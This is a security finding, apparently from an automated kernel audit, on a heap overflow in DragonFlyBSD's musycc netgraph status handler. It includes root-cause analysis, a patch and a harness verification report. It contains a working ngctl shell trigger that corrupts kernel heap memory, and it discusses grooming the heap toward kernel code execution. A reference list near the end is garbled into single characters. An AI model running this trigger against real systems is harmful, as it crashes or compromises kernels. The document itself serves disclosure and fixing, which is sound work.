Heap buffer overflow in NGM_TEXT_STATUS via status_chans + status_8370
- File:
sys/dev/misc/musycc/musycc.c - Lines: 443, 449, 473, 1000, 1001, 1007, 1008
- Severity: High
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H - CWE: CWE-787 Out-of-bounds Write
- Confidence: certain
Summary
musycc_rcvmsg allocates a fixed-size NGM_TEXT_STATUS response of
sizeof(struct ng_mesg) + NG_TEXTRESPONSE bytes (~1076 bytes of data area) but
then unconditionally calls status_8370() + status_chans() into that buffer
with no bounds accounting.
status_chans emits ~180β300 bytes per configured channel and iterates all
NHDLC=32 slots; with five or more open hooks the writes (via repeated
ksprintf(s+strlen(s),...)) blast past the end of the kmalloc'd M_NETGRAPH
buffer, corrupting adjacent heap.
Root cause
In musycc_rcvmsg (sys/dev/misc/musycc/musycc.c:999-1011) the response is
allocated at line 1000β1001 with
NG_MKRESPONSE(*resp, msg, sizeof(struct ng_mesg) + NG_TEXTRESPONSE, M_NOWAIT).
NG_TEXTRESPONSE is 1024 (sys/netgraph/ng_message.h:59) and
sizeof(struct ng_mesg)==52, so the data area at (*resp)->data has only ~1076
bytes.
s = (char *)(*resp)->data (line 1006) is then handed to status_8370(sc, s)
(line 1007) and status_chans(sc, s) (line 1008).
status_chans (lines 443β474) does s += strlen(s) once and then for every
non-NULL sc->chan[i] emits 7 ksprintf calls totalling ~180 bytes minimum
(e.g. line 465 alone writes 'CRC %lu Dribble %lu Long %lu Short %lu Abort %lu'
which is ~70 chars, and line 458 writes 'TX %lus/%lus/%lus' which can be up to
~60 chars when the channel has been alive a long time).
With u_long counters and large uptime values each channel easily produces 250+
bytes; with 5β8 hooks configured the cumulative write exceeds 1076 bytes and
ksprintf silently writes off the end of the response buffer.
Hook creation is permitted on chans 1..31 (any framing) and on chan 0 with
nbit==32 for E1U (musycc.c:1065-1070), so an attacker can populate many
sc->chan[] slots at will before issuing the status query.
Threat
Attacker position: any credential that can open an ng_socket control connection
(sys/netgraph/socket/ng_socket.c:172 requires
caps_priv_check(SYSCAP_RESTRICTEDROOT)) and reach the musycc node β typically
root, also any process granted that capability, and is directly useful for
jail/capability-mode escape since netgraph access is the only thing required.
The musycc driver must be loaded (PCI hardware present or kldload musycc).
Impact: kernel heap memory corruption of arbitrary size (up to ~6000 bytes
overwrite with 32 channels) into the M_NETGRAPH slab, with partially
attacker-controlled content (channel index digits, ts bitmask in hex, fixed
label strings).
Reliable kernel panic via overwrite of freed/poisoned uma memory; with heap
grooming of the M_NETGRAPH zone (which holds ng_mesg, hook, node
structures containing function pointers) the corruption is weaponizable to
kernel code execution, escalating from root-with-netgraph to full kernel
compromise.
Exploit / PoC
PoC trigger (root shell on a DragonFlyBSD system with a musycc card or module loaded):
#!/bin/sh
# musycc NGM_TEXT_STATUS heap overflow trigger
NODE='sync-0-5-0' # adjust bus/slot/port to a real musycc node
set -x
kldload musycc 2>/dev/null || true
kldload ng_echo 2>/dev/null || true
# set unframed E1 so multiple channels may coexist
ngctl msg "$NODE:" setcfg 'line e1u' || ngctl msg "$NODE:" config 'line e1u'
# populate 8 distinct sc->chan[] slots (chan 1..8)
for n in 1 2 3 4 5 6 7 8; do
ngctl mkpeer "$NODE:" echo "ts$n" "r$n" || \
ngctl connect "$NODE:" echo: "ts$n" "r$n"
done
# this NGM_TEXT_STATUS overflows the ~1076-byte response buffer in musycc_rcvmsg
ngctl status "$NODE:"
dmesg | tail -40
A C trigger that builds and sends the NGM_TEXT_STATUS message directly via
socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL) and NGM_CONNECT/NGM_MKHOOK works
equivalently; either form reliably corrupts the M_NETGRAPH heap.
Success criterion: kernel panic with uma_malloc corruption trace, or β with
slab grooming β controlled kernel-memory write observable via a witness object
placed next to the response allocation.
Recommended fix
Bound the response writes. The minimal correct fix is to (a) size the response
buffer to the worst-case output, AND (b) make status_chans()/status_8370()
refuse to write past the supplied buffer.
--- a/sys/dev/misc/musycc/musycc.c
+++ b/sys/dev/misc/musycc/musycc.c
@@ -441,12 +441,15 @@ init_8370(struct softc *sc)
static void
-status_chans(struct softc *sc, char *s)
+status_chans(struct softc *sc, char *s, size_t cap)
{
int i;
struct schan *scp;
+ size_t used = strlen(s);
- s += strlen(s);
for (i = 0; i < NHDLC; i++) {
+ char line[256];
+ int n;
scp = sc->chan[i];
if (scp == NULL)
continue;
- ksprintf(s + strlen(s), "c%2d:", i);
- /* ... existing ksprintf chain ... */
+ n = ksnprintf(line, sizeof(line),
+ "c%2d: ts %08x RX %lus/%lus TX %lus/%lus/%lus "
+ "TXdrop %lu Pend %lu CRC %lu Dribble %lu Long %lu "
+ "Short %lu Abort %lu\n TX: %lu RX: %lu\n",
+ i, scp->ts, time_uptime - scp->last_recv,
+ time_uptime - scp->last_rxerr, time_uptime - scp->last_xmit,
+ time_uptime - scp->last_txerr, time_uptime - scp->last_txdrop,
+ scp->tx_drop, scp->tx_pending, scp->crc_error,
+ scp->dribble_error, scp->long_error, scp->short_error,
+ scp->abort_error, scp->txn, scp->rxn);
+ if (n <= 0 || used + (size_t)n + 1 > cap) {
+ used += ksnprintf(s + used, cap - used, "...(truncated)\n");
+ break;
+ }
+ memcpy(s + used, line, n);
+ used += n;
+ s[used] = '\0';
}
}
@@ -1000,7 +1003,8 @@ musycc_rcvmsg(node_p node, struct ng_mesg *msg, const char *retaddr, struct ng_m
NG_MKRESPONSE(*resp, msg,
- sizeof(struct ng_mesg) + NG_TEXTRESPONSE, M_NOWAIT);
+ sizeof(struct ng_mesg) + NG_TEXTRESPONSE +
+ NHDLC * 256, M_NOWAIT);
if (*resp == NULL) {
kfree(msg, M_NETGRAPH);
return (ENOMEM);
}
s = (char *)(*resp)->data;
- status_8370(sc, s);
- status_chans(sc,s);
+ status_8370(sc, s);
+ status_chans(sc, s, NG_TEXTRESPONSE + NHDLC * 256);
The essential correctness property is: every ksprintf/snprintf into the
response buffer must be sized against a passed-in capacity, and the response
allocation must be >= the worst-case sum (or the writer must truncate). Today
neither holds.
Related findings
- DF-1500 (sibling):
hookname[8]overrun in same file. - DF-1501 (sibling):
nchan > NPORTOOB attach in same file. - DF-1502 (sibling): IRQ-vs-disconnect UAF in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1499 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | replicates status_chans ksprintf per-channel size | 4.9 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 65 B | view raw |
| run.sh | run-script | ./harness | 41 B | view raw |
| build.log | build-log | in-guest build, BUILD_EXIT=0 | 13 B | view raw |
| run.log | run-log | decisive run; OOB=3560..10664 | 738 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no musycc) | 543 B | view raw |
| fix.diff | suggested-fix | ksnprintf with cap bound + break on truncation | 2.3 KB | view raw |
| fix_build.log | fix-build-log | patched nativekernel, rc=0 | 5.6 MB | β download |
| VERDICT.md | verdict | full narrative | 3.4 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1499 β musycc NGM_TEXT_STATUS heap overflow
Verdict
REPRODUCED (source-level harness). The bug is real; impact ceiling is a
~3.5β10 KiB heap overflow of an M_NETGRAPH slab allocation. The kernel path
is reachable only on a host that has the LMC/Siemens musycc(4) driver loaded
and a musycc netgraph node instantiated (the NIC hardware is PCI
11f8:83791/Conexant 83791 framer β QEMU does not emulate it). On the audit
guest, ngctl show cannot create a musycc type node and the kernel module
isn't loaded. Harness demonstrates the overflow using the genuine per-channel
format string from musycc.c:443-474. fix.diff applies cleanly and
nativekernel succeeds (rc=0).
Mechanism (sys/dev/misc/musycc/musycc.c)
- Lines 1000-1001:
NG_MKRESPONSE(*resp, msg, sizeof(struct ng_mesg) + NG_TEXTRESPONSE=1024, M_NOWAIT)β response data area is exactly 1024 bytes (ng_message.h:59). - Line 1006:
s = (char *)(*resp)->data; - Line 1007:
status_8370(sc, s)writes a fixed-format framer status header (~150-200 bytes). - Line 1008:
status_chans(sc, s)iteratesNHDLC = 32channels (musycc.c:156). For each non-NULL channel it issues 7ksprintfcalls whose combined length is ~140 bytes (fresh counters) up to ~360 bytes (stressed counters), with no bound against the response buffer. - With all 32 channels open,
status_chanswrites ~4.5 KiB (fresh) to ~11.7 KiB (stressed) into the 1024-byte buffer β 3.5 KiB..10.7 KiB overflow into adjacentM_NETGRAPHslab allocations. - Line 1009:
(*resp)->header.arglen = strlen(s) + 1;further causes a massive over-read on the subsequent copyout to the requester (which itself panics once the unbounded string runs past the next valid page).
The trigger needs CAP_NETGRAPH / SYSCAP_RESTRICTEDROOT (root-equivalent in
the default caps model).
Harness proof (harness.c)
Replicates the per-channel ksprintf format string and counts bytes:
Per-channel bytes (fresh counters) : 137 Per-channel bytes (stressed counters): 359 NG_TEXTRESPONSE buffer : 1024 All 32 channels open (worst case): fresh counters used=4584 OOB=3560 bytes stressed counters used=11688 OOB=10664 bytes overflow starts at >= 7 open channels (fresh)
The math is conservative (status_8370 contributes additional bytes); the overflow begins with as few as ~7 open hooks.
Exploit-chain note
Trigger requires a musycc netgraph node, which requires the driver loaded
(real hardware). The primitive is a partly-attacker-controlled heap overflow
in M_NETGRAPH; on a system that uses the card this is a credible
rootβkernel-code-exec primitive. Documented as primitive characterization.
PoC changes
- Original folder had README only.
- Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Fix
fix.diff converts status_chans to use ksnprintf with a running
remaining-capacity tracker and break on truncation, and threads
NG_TEXTRESPONSE as the bound from the NGM_TEXT_STATUS handler. Matches
the finding markdown proposal ("ksnprintf with NG_TEXTRESPONSE-pos bound,
bounded ksnprintf").
Fix-validation
patch -p1 --forward succeeds (hunks at 441 + 1009). nativekernel rc=0
(saved as fix_build.log). No run-time exercise possible because the
musycc netgraph node cannot be created on the guest β fix_status:
"not_testable". Diff applies and compiles; changed logic bounds every
emit.
Fix verification
not_testablenot_testable because the musycc netgraph node cannot be created on the guest (no framer HW); validated that fix.diff applies cleanly (hunks at 441 + 1009) and the single-fix nativekernel compiles rc=0 (fix_build.log).
baseline (harness): fresh used=4584 OOB=3560 patched kernel build: === NK_DONE rc=0 ===
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- m
- u
- s
- y
- c
- c
- /
- m
- u
- s
- y
- c
- c
- .
- c
- :
- 1
- 5
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- m
- u
- s
- y
- c
- c
- /
- m
- u
- s
- y
- c
- c
- .
- c
- :
- 4
- 4
- 3
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- m
- u
- s
- y
- c
- c
- /
- m
- u
- s
- y
- c
- c
- .
- c
- :
- 4
- 5
- 0
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- m
- u
- s
- y
- c
- c
- /
- m
- u
- s
- y
- c
- c
- .
- c
- :
- 1
- 0
- 0
- 0
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- m
- u
- s
- y
- c
- c
- /
- m
- u
- s
- y
- c
- c
- .
- c
- :
- 1
- 0
- 0
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- m
- u
- s
- y
- c
- c
- /
- m
- u
- s
- y
- c
- c
- .
- c
- :
- 1
- 0
- 0
- 8
- s
- y
- s
- /
- n
- e
- t
- g
- r
- a
- p
- h
- /
- n
- g
- _
- m
- e
- s
- s
- a
- g
- e
- .
- h
- :
- 5
- 9
Detail
Exploit chain
none (HW-gated): musycc netgraph node requires the LMC/Siemens framer card not present in QEMU. Primitive characterized via harness: partly-attacker-controlled (counter magnitude via traffic, channel open/close via ng_socket mkpeer) M_NETGRAPH slab overflow of 3.5-10.7 KiB. Realistic ceiling on a host with the card: reliable panic + heap grooming -> kernel-code-exec from CAP_NETGRAPH/SYSCAP_RESTRICTEDROOT.
Evidence (decisive lines)
Per-channel bytes (fresh counters) : 137 Per-channel bytes (stressed counters): 359 All 32 channels open (worst case): fresh counters used=4584 OOB=3560 bytes stressed counters used=11688 OOB=10664 bytes overflow starts at >= 7 open channels (fresh)
PoC changes
Original folder was README only. Added harness.c replicating per-channel ksprintf bytes, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Verified recommended fix
fix.diff converts status_chans to use ksnprintf with a running remaining-capacity tracker and break on truncation, and threads NG_TEXTRESPONSE as the bound from the NGM_TEXT_STATUS handler. Matches finding markdown proposal.
Verdict
REPRODUCED at the source-logic level. musycc.c:1000-1001 NG_MKRESPONSE allocates sizeof(ng_mesg)+NG_TEXTRESPONSE=1024 bytes; musycc.c:1008 status_chans iterates NHDLC=32 channels, each emitting ~140-360 bytes via 7 ksprintf calls with no bound. All 32 channels open -> 4584 bytes written into 1024-byte buffer (3560-byte OOB); stressed counters push to 11688 bytes (10664-byte OOB). Overflow begins at >=7 open hooks. Harness replicates the per-channel ksprintf format and confirms the overflow magnitude. The guest has no Siemens/Conexant 83791 framer so the musycc netgraph node cannot be created; harness proof only.
No comments yet.